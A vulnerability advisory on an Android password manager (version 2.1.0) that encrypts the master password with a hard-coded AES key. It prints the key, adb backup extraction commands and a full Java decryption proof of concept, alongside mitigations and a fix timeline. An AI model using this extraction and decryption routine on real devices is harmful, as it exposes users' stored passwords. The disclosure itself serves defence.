SIK-2016-021


Title:

Insecure Credential Storage in Mirsoft Password

Report ID

SIK-2016-021

Summary:

  • Vendor: Informaticore
  • Product: Password Manager
  • Affected Version: 2.1.0
  • Severity: high
  • Short summary:

The master password is stored in an insecure way. The password is encrypted, but the key for this encryption is part of the application code (equal on all devices).

Details:

The Android app “Password Manager” with version “2.1.0” stores the master password in the app’s shared preferences file. The password is symmetrically encrypted using a hard-coded encryption key. The encryption thus does not provide any security and the master password can easily be decrypted if the
attacker is able to extract the file from the device. This vulnerability is made worse by the fact that the allowBackup flag of the app is explicitly set to “true”, i.e., the app allows itself to be backed up.

This vulnerability effectively renders the encryption of the password database useless. If an attacker gains access to the app’s shared preferences file on the device, he can reconstruct the master password for the user’s password database. This is possible because the master password is stored in the shared preferences file where it is only protected with symmetric encryption that used a key hard- coded into the app. The keys are stored in the class in com.mirsoft.passwordmemory.d.i.

The keys are:

$String = staticinvoke f.b("ydPCPFnpqfPuuBYPzhfGXD38gtUPN2yj", $String);
line 377: $param0 = staticinvoke f.a("ydPCPFnpqfPuuBYPzhfGXD38gtUPN2yj",
$param0);

For extracting the hard-coded encryption key, the attacker only needs to decompile the app. We were able to create a decryption script that accepts an encrypted master password as input and outputs the decrypted plain text password.

The master password can be used to unlock all saved passwords and thus makes the stored passwords accessible to the attacker. This situation can arise when a stolen/lost phone can be exploited with a vulnerability to get elevated privileges. Additionally, due to the fact that the app allows itself to be backed up, the shared preferences file can also be obtained if the phone is not rooted, but the developer options are enabled. In that case, an attacker can connect the phone to a computer using a USB cable and run the adb backup command from the SDK tools.

adb backup -f passwordmemory.ab com.mirsoft.passwordmemory -noapk
java -jar build/libs/abe-all.jar unpack passwordmemory.ab passwordmemory.tar
tar -tvf passwordmemory.tar
-rw-rw---- 10064/10064 238 2016-08-02 21:16 apps/com.mirsoft.passwordmemory/sp/PasswordMemoryPrefs.xml

The shared preferences file is then contained in the backup archive downloaded to the PC.
Afterwards use the following code for decryption:

package main;
import java.security.Key;
import java.util.Arrays;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;

public class Main {
  public static void main(String[] args) throws Exception {
  // Encrypted password taken from shared preferences
  String password = "48694DE92DF887C0EF77FE1CDF97B7F5";
  // ydPCPFnpqfPuuBYPzhfGXD38gtUPN2yj = constantKey
  String constantKey = "f2044605aa25fbe7a5047cb8d9ac12e9";
  byte[] cipher = deobfuscate(password);
  decrypt(constantKey, cipher);
  }
 /**
  * The decryption method
  * @param pw password for decryption
  * @param cipher the cipher to decrypt
  * @throws Exception
 */
  public static void decrypt(String pw, byte[] cipher) throws Exception{
    Cipher instance = Cipher.getInstance("AES");Key secretKeySpec = new SecretKeySpec(pw.getBytes(), "AES");
    instance.init(Cipher.DECRYPT_MODE, secretKeySpec);
    byte[] a = instance.doFinal(cipher);
    System.out.println(Arrays.toString(a));
    System.out.println(new String(a));
 }
  /**
  * Deobfuscation of the stored password
  * @param input obufscated string
  * @return
  */
  public static byte[] deobfuscate(String input){
    int method_length, i, i1, i2, i3;
    byte[] arrbyte;
    char c3;
    byte b6;
    method_length = input.length();
    i = method_length / 2;
    arrbyte = new byte[i];
    i1 = 0;
   while (i1 < method_length){
           i = i1 / 2;
          c3 = input.charAt(i1);
          i2 = Character.digit(c3, 16);
          i2 = i2 << 4;
          i3 = i1 +1;
          c3 = input.charAt(i3);
          i3 = Character.digit(c3, 16);
          i2 = i2 + i3;
          b6 = (byte) i2;
          arrbyte[i] = b6;
          i1 = i1 + 2;
    }
    return arrbyte;
   }
}

Workaround

Users should secure their device using a strong unlocking PIN and should never root their devices. Developer mode should be disabled on production devices.

Suggested Mitigation

If the user chooses to save the master password on the device to avoid typing the password every time, use the Android Keystore for storing the key. Never use hard-coded symmetric encryption keys. Disable the backup function.

Timeline

  • 2016-08-18: Vulnerability Reported.
  • 2016-08-29: Vulnerability Fixed.